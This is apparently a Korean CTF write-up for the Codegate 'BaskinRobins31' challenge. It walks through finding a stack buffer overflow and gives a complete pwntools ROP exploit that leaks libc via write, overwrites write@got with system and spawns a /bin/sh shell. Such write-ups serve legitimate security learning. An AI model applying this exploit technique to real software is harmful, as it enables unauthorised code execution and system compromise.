대회 당시에는 64bit 운영체제에 대한 지식이 없어서 건들지 못했는데 최근 공부하면서 문제를 풀었다.
유명한 베스킨라빈스31 게임이다.
1에서 3까지의 수를 입력하면서 31부터 수를 떨어뜨리는 건데
이게 컴퓨터가 무조건 이기도록 구조가 되어있어서 일반적인 게임으론 풀 수 가 없다.
따라서 익스플로잇을 통해 쉘을 얻으라는 건데..
우선 gdb와 ida로 열어서 봤다.
이겼을 경우 jmp하는 루틴을 보면 Hint로 ROP라는 문구를 출력해주고 main()함수를 종료한다.
근데 뭐 일반적인 경우로 이 루틴을 거칠 수는 없고 힌트로 준 rop를 이용해 문제를 풀려고 해야한다.
어디서 오버플로우가 터질지 찾아보았는데.
사용자 입력을 받는 부분은 1-3까지의 수를 입력하는 부분이다.
그래서 그 부분을 살펴봤다.
보면 솔직히 1에서 3까지의 숫자를 입력받을 거면서 190h 바이트를 받는게 좀 이상하다.
여기가 취약하다고 티를 내는 것 같다.
그래서 일단 저기에 100바이트의 A를 입력하고 ret와의 거리를 계산해서 ret를 덮을 수 있는지 확인해 봤다.
내가 입력한 A 100바이트는 [$rbp-0xb0]에 들어가게 된다.
그리고 ret의 위치인 rbp+0x8과의 거리를 보면 0xb8이다.
즉 사용자가 최대로 입력할 수 있는 0x190보다 작은 0xb8의 diff를 가지고 있으므로 ret를 덮을 수 있다.
다시말해 오버플로우가 가능하다.
이제 이 공격벡터를 이용해서 rop를 실행하면 된다.
먼저 rop에 필요한 가젯을 찾아야 한다.
공략 단계
1. gdb로 write()와 read()의 plt, got를 찾는다.
2. system()함수의 offset을 구한다.
3. system()함수에 사용할 pop rdi ; ret 가젯을 찾는다.
4. write()함수에 got overwrite를 하기 위해 pop rdi ; pop rsi ; pop rdx ; ret 가젯을 찾는다.
5. /bin/sh 문자열을 입력할 bss영역의 주소를 찾는다.
read@plt = 0x400700
read@got = 0x602040
write@plt = 0x4006d0
write@got = 0x602028
system함수의 offset은 gdb에서 간단하게 read와의 차이로 구했다.
가젯은 rp++툴을 이용해서 구했다.
pop_rdi gadget = 0x400bc3
마찬가지로 rp++로 가젯을 구했다.
pppr gadget = 0x40087a
마지막으로 bss영역의 주소를 구했다.
이제 익스플로잇 코드를 작성한다.
처음에 write()함수를 이용해서 read함수의 바이너리 상 주소를 알아낸 후 system 주소를 릭해야 한다.
따라서 write(1, read@got, 8) 함수를 먼저 시작해준다.
그리고 rop를 진행하면 된다.
exploit code
from pwn import * p = process("./BaskinRobins31") read_plt = 0x400700 read_got = 0x602040 write_plt = 0x4006d0 write_got = 0x602028 pr = 0x400bc3 pppr = 0x40087a bss = 0x602090 system_offset = 0xb1ec0 payload = "A"*184 payload += p64(pppr) payload += p64(1) payload += p64(read_got) payload += p64(8) payload += p64(write_plt) payload += p64(pppr) payload += p64(0) payload += p64(bss) payload += p64(8) payload += p64(read_plt) payload += p64(pppr) payload += p64(0) payload += p64(write_got) payload += p64(8) payload += p64(read_plt) payload += p64(pr) payload += p64(bss) payload += p64(write_plt) log.info('Exploit..') p.sendline(payload) read_addr = u64(p.recv()[-8:]) log.info("read_addr = {}".format(hex(read_addr))) log.info("system_offset = {}".format(hex(system_offset))) system_addr = read_addr - system_offset log.info("system_addr = {}".format(hex(system_addr))) p.sendline("/bin/sh") p.sendline(p64(system_addr)) p.interactive()
Ref.http://d4m0n.tistory.com/84
'CTF > Codegate' 카테고리의 다른 글
codegate2019 20000 (0) | 2019.02.07 |
---|---|
codegate 2018 super marimo (0) | 2019.01.19 |
Codegate 2018 RedVelvet writeup (0) | 2018.02.04 |